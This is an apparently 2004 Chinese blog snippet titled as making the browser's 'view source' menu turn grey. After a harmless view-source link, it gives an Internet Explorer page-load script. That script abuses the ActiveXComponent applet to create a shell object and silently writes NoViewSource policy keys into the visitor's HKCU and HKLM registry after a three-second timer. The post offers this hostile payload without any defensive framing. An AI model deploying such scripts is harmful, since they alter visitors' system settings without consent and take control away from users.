察看源文件的菜单就变成了灰色的了

 <script language=JavaScript>
function ViewSource() {
window.location = "view-source:" + loca.value
 }
</script>
<input type=text id=loca><a href=# onclick=ViewSource()>View Source</a>
-----------------------

<SCRIPT>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function a(){
try
{
b=document.applets[0];
b.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
b.createInstance();
c = b.GetObject();
try
{
c.RegWrite("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoViewSource",1,"REG_DWORD");
c.RegWrite("HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoViewSource",1,"REG_DWORD");
}
catch(e)
{}
}
catch(e)
{}
}
function d()
{
setTimeout("a()", 3000);
}
d();
</SCRIPT> 
posted on 2004-04-13 09:29  myx  阅读(1162)  评论(7编辑  收藏  举报